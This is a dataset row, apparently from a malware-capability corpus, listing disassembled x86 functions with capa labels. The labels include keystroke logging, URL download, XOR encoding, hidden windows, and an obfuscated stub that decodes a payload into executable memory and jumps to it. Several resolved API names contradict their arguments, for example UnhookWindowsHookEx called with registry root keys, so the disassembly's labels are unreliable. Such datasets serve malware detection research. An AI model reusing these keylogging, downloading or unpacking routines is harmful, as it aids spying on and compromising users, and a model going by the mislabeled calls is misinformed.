joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405070
Capabilities:
Clear file content
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_LoadLibraryA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4052a0
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x4050f3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4052a0
push 0x80000002
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x4050f3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4052bc
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
jne 0x40517c
xor eax, eax
push ebp
push 0x405175
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404eb8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x40515a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4052dc
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x40515a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40517c
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_TranslateMessage
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetEndOfFile
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_ReadFile
push eax
call sub.KERNEL32.DLL_LeaveCriticalSection
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405296
cmp byte [ebp - 0xd], 0
jne 0x4051c3
cmp byte [ebp - 0x12], 0
je 0x405296
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetErrorMode
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4051dc
dec ebx
cmp byte [ebx], 0x2e
je 0x4051eb
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4051db
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405296
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405228
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_ResetEvent
mov esi, eax
test esi, esi
jne 0x405296
cmp byte [ebp - 0xd], 0
je 0x405296
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_ResetEvent
mov esi, eax
test esi, esi
jne 0x405296
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_ResetEvent
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b888
Capabilities:
Log keystrokes

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.user32.dll_MapVirtualKeyA
test eax, eax
je 0x40b8ef
mov eax, dword [esp + 0x10]
mov dword [0x4510c4], eax
mov eax, dword [esp + 4]
mov dword [0x4510c8], eax
mov eax, dword [esp + 8]
mov dword [0x4510cc], eax
cmp dword [0x4510c4], 1
jne 0x40b8d3
mov eax, dword [esp + 0xc]
and eax, 0xffff
mov dword [0x4510d0], eax
jmp 0x40b8dc
mov eax, dword [esp + 0xc]
mov dword [0x4510d0], eax
mov eax, 0x4510d4
lea edx, [esp + 0x14]
mov ecx, 0x80
call fcn.00404080
add esp, 0x94
ret

Function at 0x40b918
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b9ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403ea8
lea eax, [ebp - 8]
call fcn.00404320
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004042d0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40b9d8
mov eax, ebx
call fcn.004026bc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40b9d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004042d0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40b9bb
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40ba00
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40b9bb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9d8
mov eax, dword [ebp - 0x10]
call fcn.004026dc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9f5
lea eax, [ebp - 8]
call fcn.00403e10
ret
Function at 0x418d44
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov ebx, eax
call sub.user32.dll_IntersectRect
mov edx, dword [0x452590]
cmp eax, dword [edx]
je 0x418d87
call sub.user32.dll_IntersectRect
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x14]
push eax
push 0
mov ecx, dword [0x452434]
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.0040b1c0
call fcn.0040384c
test ebx, ebx
jle 0x418d94
mov eax, ebx
call fcn.00418d28
jmp 0x418d99
call fcn.00418d1c
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x453868
call sub.user32.dll_GetTopWindow
xor eax, eax
push ebp
push 0x418ed2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
push 0x4513e4
call sub.user32.dll_GetWindowTextA
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x418eb3
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x418de4
mov eax, dword [ebp - 0xc]
cmp dword [eax + 8], 0
jg 0x418de8
xor eax, eax
jmp 0x418dea
mov al, 1
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x418e9d
jmp 0x418e90
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.00413544
mov dword [ebp - 8], eax
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.00413434
push 0x453868
call sub.user32.dll_RegisterWindowMessageA
xor eax, eax
push ebp
push 0x418e7d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x418e4e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
mov eax, dword [ebx + 0xc]
call dword [ebx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x418e65
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418e84
push 0x453868
call sub.user32.dll_GetTopWindow
ret
mov eax, dword [ebp - 0xc]
cmp dword [eax + 8], 0
jg 0x418dfc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418eba
mov eax, dword [ebp - 0xc]
call fcn.004030d8
ret

Function at 0x41f808
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41f80e
ret

Function at 0x421334
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x10]
mov dl, byte [0x421378]
mov eax, ebx
call fcn.00421450
mov eax, dword [ebp + 8]
call fcn.00420064
push eax
push edi
push esi
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetKeyboardLayoutList
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x421518
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 0x10]
call fcn.00420a38
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetFocus
mov eax, dword [ebx + 0x10]
movzx eax, byte [eax + 0x18]
movzx eax, word [eax*2 + 0x451b2c]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetKeyboardState
pop ebx
ret
Function at 0x421548
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 0x14]
call fcn.00420d24
push eax
call sub.user32.dll_GetMenuState
mov eax, dword [ebx + 0x14]
call fcn.00420d24
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetFocus
mov eax, dword [ebx + 0x14]
call fcn.00420e04
test al, al
jne 0x42159b
mov eax, dword [ebx + 0x14]
call fcn.00420ce8
call fcn.00420064
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetIconInfo
push 2
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetKeyNameTextA
pop ebx
ret
mov eax, dword [ebx + 0x14]
call fcn.00420ce8
call fcn.00420064
not eax
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetIconInfo
push 1
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_GetKeyNameTextA
pop ebx
ret

Function at 0x423098
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
test esi, esi
je 0x42314e
cmp word [ecx + 0x26], 8
ja 0x42314e
lea edx, [ebp - 0x410]
mov ecx, 0xff
mov eax, dword [ebp - 4]
call fcn.00421efc
mov ebx, eax
test ebx, ebx
je 0x42314e
push 0
call fcn.004062d8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_CreatePopupMenu
mov dword [ebp - 0xc], eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_GetFocus
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x423147
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x410]
push eax
push ebx
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_GetKeyboardLayout
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42314e
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_GetFocus
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_DestroyWindow
mov eax, dword [ebp - 8]
push eax
push 0
call fcn.00406510
ret
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x450b64
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 9
push 0
push 0
dec ecx
jne 0x450b6c
push ebx
push esi
push edi
mov eax, 0x450974
call fcn.00405bc8
xor eax, eax
push ebp
push 0x450e28
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xfe
push 0x454c78
call sub.user32.dll_MapWindowPoints
mov eax, 0x454d78
mov edx, 0x450e40
call fcn.00403e64
push 0
push 0
lea edx, [ebp - 0x18]
mov eax, 0x454c78
call fcn.00408358
push dword [ebp - 0x18]
push 0x450e54
push 0x450e60
push 0x450e6c
push 0x450e78
push 0x450e84
push 0x450e90
lea eax, [ebp - 0x14]
mov edx, 7
call fcn.00404190
mov eax, dword [ebp - 0x14]
call fcn.004042d0
push eax
push 0x450e9c
push dword [0x454d78]
push 0x450eac
push 0x450eb8
push 0x450ec4
push 0x450ed0
push 0x450ee0
push 0x450e78
push 0x450e84
push 0x450e90
lea eax, [ebp - 0x1c]
mov edx, 0xa
call fcn.00404190
mov eax, dword [ebp - 0x1c]
call fcn.004042d0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 0x3e8
call fcn.0040c444
push 0
lea edx, [ebp - 0x28]
mov eax, 0x454c78
call fcn.00408358
push dword [ebp - 0x28]
push 0x450eec
push 0x450ef8
push 0x450e6c
push 0x450e78
push 0x450f04
push 0x450e84
lea eax, [ebp - 0x24]
mov edx, 7
call fcn.00404190
mov eax, dword [ebp - 0x24]
call fcn.004042d0
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.00404008
mov ecx, dword [ebp - 0x20]
mov dl, 1
mov eax, dword [0x4117f8]
call fcn.00415638
mov dword [0x454d7c], eax
push 0xffff
lea edx, [ebp - 0x34]
mov eax, 0x454c78
call fcn.00408358
push dword [ebp - 0x34]
push 0x450eec
push 0x450ef8
push 0x450f10
push 0x450ec4
push 0x450f1c
push 0x450ec4
lea eax, [ebp - 0x30]
mov edx, 7
call fcn.00404190
mov eax, dword [ebp - 0x30]
call fcn.004042d0
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00404008
mov ecx, dword [ebp - 0x2c]
mov dl, 1
mov eax, dword [0x4117f8]
call fcn.00415638
mov dword [0x454d80], eax
mov ecx, dword [0x454d7c]
mov dl, 1
mov eax, dword [0x41a31c]
call fcn.0041a604
mov esi, eax
mov edx, 0x454d84
mov ecx, 0x400
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
je 0x450d53
mov edx, 0x454d84
mov ecx, ebx
mov eax, dword [0x454d80]
mov edi, dword [eax]
call dword [edi + 0x10]
test ebx, ebx
jg 0x450d2b
mov eax, esi
call fcn.004030d8
mov eax, dword [0x454d80]
call fcn.004030d8
mov eax, dword [0x454d7c]
call fcn.004030d8
push 0
lea edx, [ebp - 0x3c]
mov eax, 0x454c78
call fcn.00408358
push dword [ebp - 0x3c]
push 0x450eec
push 0x450ef8
push 0x450f10
push 0x450ec4
push 0x450f1c
push 0x450ec4
lea eax, [ebp - 0x38]
mov edx, 7
call fcn.00404190
mov eax, dword [ebp - 0x38]
call fcn.004042d0
push eax
call sub.user32.dll_SetPropA
lea edx, [ebp - 0x48]
mov eax, 0x454c78
call fcn.00408358
push dword [ebp - 0x48]
push 0x450eec
push 0x450ef8
push 0x450f28
push 0x450f04
push 0x450e84
lea eax, [ebp - 0x44]
mov edx, 6
call fcn.00404190
mov eax, dword [ebp - 0x44]
call fcn.004042d0
mov edx, eax
lea eax, [ebp - 0x40]
call fcn.00404008
mov eax, dword [ebp - 0x40]
call fcn.00407fec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450e2f
lea eax, [ebp - 0x48]
mov edx, 0xe
call fcn.00403e34
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x453c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x453c66
pop dword [ebp - 0x30]
mov eax, 0x453c66
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x60bed21
sub dword [ebp - 0x40], 0xb7b9a7d6
mov dword [ebp - 0x3c], 0xaaf6158a
add dword [ebp - 0x3c], 0x873d36bb
mov dword [ebp - 0x38], 0x9b9459cb
sub dword [ebp - 0x38], 0x4f48159d
mov dword [ebp - 0x34], 0xa36591eb
add dword [ebp - 0x34], 0x5c9a6e15
lea eax, [ebp - 0x40]
push eax
mov eax, 0x7ca84007
sub eax, 0x7c628fa3
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x54c79933
add dword [ebp - 0x40], 0x1faad023
mov dword [ebp - 0x3c], 0x9ce3ab79
add dword [ebp - 0x3c], 0xa488b5fc
mov dword [ebp - 0x38], 0xf2de51d4
add dword [ebp - 0x38], 0x70911a98
mov dword [ebp - 0x34], 0x94b5cf03
sub dword [ebp - 0x34], 0x94b5cf03
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x4f7b7
push 0
call eax
mov ecx, 0x4984aee5
sub ecx, 0x49845e60
mov edi, eax
mov ebx, 0x29fb4e67
sub ebx, 0x29b3ee67
add ebx, dword [ebp - 0x30]
mov esi, 0xf7a30e11
mov dword [ebp - 0x1c], 0x3c853b4b
mov edx, dword [ebx]
add dword [ebp - 0x18], edi
sub edx, esi
mov dword [ebp - 0x10], 0x1242d76f
mov dword [edi], edx
xor dword [ebp - 4], 0xfec5aa4e
add edi, 0xcaf7dc76
sub edi, 0xcaf7dc72
add ebx, 0x8af561f6
sub ebx, 0x8af561f2
loop 0x453d78
add eax, 0x134e7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x4016aa
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [0x40d0e4]
cmp eax, 0xffffffff
mov dword [0x4126a0], eax
mov ebx, eax
jne 0x4016e0
push 0xfffffffffffffffe
jmp 0x401853
push esi
push eax
call dword [0x40d0dc]
mov edi, eax
lea eax, [edi + 0xa]
push eax
push 0x42
call dword [0x40d0ec]
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x40170c
push ebx
call dword [0x40d0f0]
or eax, 0xffffffff
jmp 0x401854
push eax
call dword [0x40d0e8]
mov esi, eax
push edi
push esi
push ebx
call dword [0x40d0f8]
push ebx
call dword [0x40d0f0]
cmp byte [esi], 0x42
jne 0x40183f
cmp byte [esi + 1], 0x4d
jne 0x40183f
add esi, 0xe
cmp dword [esi + 0x10], 0
je 0x40175a
push dword [ebp + 8]
call dword [0x40d0fc]
push dword [ebp + 8]
call dword [0x40d0f4]
push 0xfffffffffffffff0
jmp 0x401853
mov edi, dword [ebp + 0xc]
mov eax, dword [esi + 4]
mov dword [edi + 8], eax
mov eax, dword [esi + 8]
and dword [edi + 4], 0
mov dword [edi + 0xc], eax
movzx eax, word [esi + 0xe]
dec eax
je 0x401796
sub eax, 3
je 0x401792
sub eax, 4
je 0x40178b
sub eax, 0x10
jne 0x40183f
xor eax, eax
jmp 0x401799
mov eax, 0x400
jmp 0x401799
push 0x40
jmp 0x401798
push 8
pop eax
lea ebx, [esi + eax]
push 0
add ebx, dword [esi]
call dword [0x40d1fc]
and dword [ebp - 4], 0
push 0xc
push eax
mov dword [ebp + 0xc], eax
call dword [0x40d040]
cmp eax, 8
jne 0x4017c2
mov dword [ebp - 4], 1
cmp word [esi + 0xe], 8
jne 0x4017f1
cmp dword [ebp - 4], 0
je 0x4017f1
push esi
call fcn.0040185b
pop ecx
mov dword [edi + 4], eax
push 0
push eax
push dword [ebp + 0xc]
call dword [0x40d03c]
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
call dword [0x40d044]
push 0
push esi
push ebx
push 4
push esi
push dword [ebp + 0xc]
call dword [0x40d034]
mov dword [edi], eax
cmp word [esi + 0xe], 8
jne 0x40181e
cmp dword [ebp - 4], 0
je 0x40181e
push 0
push dword [ebp - 8]
push dword [ebp + 0xc]
call dword [0x40d03c]
push dword [ebp + 0xc]
push 0
call dword [0x40d200]
push dword [ebp + 8]
call dword [0x40d0fc]
push dword [ebp + 8]
call dword [0x40d0f4]
xor eax, eax
jmp 0x401854
push dword [ebp + 8]
call dword [0x40d0fc]
push dword [ebp + 8]
call dword [0x40d0f4]
push 0xfffffffffffffff8
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4023c1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push ebx
push esi
push edi
mov edi, dword [0x40d1bc]
push 0x3ea
push dword [ebp + 8]
call edi
mov esi, eax
test esi, esi
mov dword [ebp - 8], esi
je 0x402548
mov ebx, dword [0x40d284]
push esi
call ebx
mov dword [ebp - 4], eax
lea eax, [ebp - 0xd0]
push 0x7f
push eax
push esi
mov esi, dword [0x40d288]
call esi
push 0x3eb
push dword [ebp + 8]
call edi
mov edi, eax
test edi, edi
mov dword [ebp - 0x10], edi
je 0x402548
push edi
call ebx
cmp dword [ebp - 4], eax
jge 0x402433
lea eax, [ebp - 0xd0]
push 0x7f
push eax
push edi
call esi
push dword [ebp - 8]
call dword [0x40d1fc]
mov esi, eax
test esi, esi
je 0x402548
lea eax, [ebp - 0xd0]
push eax
call dword [0x40d104]
push eax
lea eax, [ebp - 0xd0]
push eax
push esi
call fcn.004070c0
push 1
push 0x40f060
push esi
mov edi, eax
call fcn.004070c0
push esi
push dword [ebp - 8]
movzx ebx, ax
call dword [0x40d200]
and dword [ebp + 8], 0
movzx esi, di
add esi, ebx
shr edi, 0x10
test esi, esi
mov dword [ebp - 0x14], edi
je 0x402548
test edi, edi
je 0x402548
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
call dword [0x40d280]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
sub eax, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x20]
cmp eax, esi
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
jge 0x4024d2
mov edi, ebx
push 1
sub edi, eax
add edi, esi
add ebx, esi
mov dword [ebp - 4], ebx
pop ebx
mov dword [ebp + 8], ebx
jmp 0x4024d8
mov edi, dword [ebp + 8]
push 1
pop ebx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
jge 0x4024e8
add eax, 4
mov dword [ebp + 8], ebx
mov dword [ebp - 0xc], eax
cmp dword [ebp + 8], 0
je 0x402548
mov esi, dword [0x40d1b8]
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x50], 0x2c
push dword [ebp - 0x10]
call esi
mov eax, dword [ebp - 0x34]
push ebx
push dword [ebp - 0xc]
mov ebx, dword [0x40d290]
sub eax, edi
push dword [ebp - 4]
push dword [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call ebx
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0x2c
push eax
push dword [ebp - 8]
call esi
mov ecx, dword [ebp - 0x34]
push 1
push dword [ebp - 0xc]
lea eax, [edi + edi]
sub ecx, eax
push dword [ebp - 4]
push dword [ebp - 0x30]
push ecx
push dword [ebp - 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402ca9
Capabilities:
Hide graphical window

Disassembly:
test byte [0x41276c], 2
push ebx
push ebp
mov ebp, dword [0x40d268]
push esi
mov esi, dword [0x40d264]
push edi
mov edi, dword [0x40d25c]
je 0x402ce6
push dword [0x412780]
call ebp
test eax, eax
je 0x402ce6
push 5
push dword [0x412780]
call esi
push dword [0x412780]
call edi
test byte [0x41276c], 1
mov ebx, dword [esp + 0x14]
je 0x402d04
push ebx
call ebp
test eax, eax
je 0x402d04
push 5
push ebx
call esi
push ebx
call edi
jmp 0x402d09
push 0
push ebx
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x402fac
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x413104], 0
push ebx
push esi
push edi
je 0x402fe4
push dword [ebp + 8]
call fcn.00403199
test eax, eax
pop ecx
jne 0x402ff1
test byte [0x41276c], 1
je 0x403137
xor dword [0x41276c], 1
jmp 0x403137
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403cbc
pop ecx
pop ecx
push 0x1b59
push dword [ebp + 8]
call dword [0x40d1bc]
push eax
mov dword [ebp - 4], eax
call dword [0x40d268]
mov esi, dword [0x40d29c]
mov edi, dword [0x40d264]
test eax, eax
je 0x4030b3
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [0x40d280]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [0x40d254]
push dword [ebp + 0xc]
call fcn.00403446
test eax, eax
pop ecx
je 0x4030b3
push dword [ebp + 0xc]
mov ebx, dword [0x40d274]
push dword [0x413108]
push 0x1c21
push dword [ebp + 8]
push 0xc
call ebx
push eax
push 0xb
call ebx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x40000000
push 0x40f13c
push 0x40f12c
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x403137
push dword [ebp + 0xc]
push 0
push ebx
call dword [0x40d1e8]
push 0
push dword [ebp - 4]
call edi
push 5
push ebx
call edi
push ebx
call dword [0x40d25c]
push 0x1c52
push dword [ebp + 8]
call dword [0x40d1bc]
push eax
mov dword [ebp - 4], eax
call dword [0x40d268]
test eax, eax
je 0x403191
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [0x40d280]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [0x40d254]
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
push dword [0x413108]
push 0x1c85
push dword [ebp + 8]
push eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x40000000
push 0x40f11c
push 0x40f030
push 0
call esi
mov ebx, eax
test ebx, ebx
jne 0x40313b
xor eax, eax
jmp 0x403194
mov esi, dword [0x40d1e4]
push 0
push 0
push 0x31
push dword [ebp - 4]
call esi
push 0
push eax
push 0x30
push ebx
call esi
push 1
push 0
push 0x495
push ebx
call esi
push 0x800000
push 0
push 0x493
push ebx
call esi
push 0xffffff
push 0
push 0x494
push ebx
call esi
push 0
push dword [ebp - 4]
call edi
push 5
push ebx
call edi
push ebx
call dword [0x40d25c]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403cbc
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
push 0x65
xor esi, esi
push dword [ebp + 8]
call dword [0x40d1bc]
mov edi, eax
test edi, edi
je 0x403d67
lea eax, [ebp - 0x200]
push 0x200
push eax
push edi
call dword [0x40d288]
mov cl, byte [ebp - 0x200]
lea eax, [ebp - 0x200]
test cl, cl
je 0x403d25
cmp cl, 0x25
jne 0x403d14
mov cl, byte [eax + 1]
inc eax
cmp cl, 0x50
je 0x403d1f
cmp cl, 0x70
je 0x403d1f
push eax
call dword [0x40d278]
mov cl, byte [eax]
jmp 0x403cfd
push 1
mov byte [eax], 0x73
pop esi
test esi, esi
je 0x403d67
mov eax, dword [ebp + 0xc]
cmp byte [eax + 0x14], 0
lea esi, [eax + 0x14]
je 0x403d41
push 0x40f17c
push esi
call dword [0x40d0c0]
lea eax, [ebp - 0x200]
push esi
push eax
lea eax, [ebp - 0x400]
push eax
call dword [0x40d1d4]
add esp, 0xc
lea eax, [ebp - 0x400]
push eax
push edi
call dword [0x40d1dc]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x404436
Capabilities:
Get file size

Disassembly:
push 0
push dword [esp + 0xc]
call dword [0x40d0dc]
ret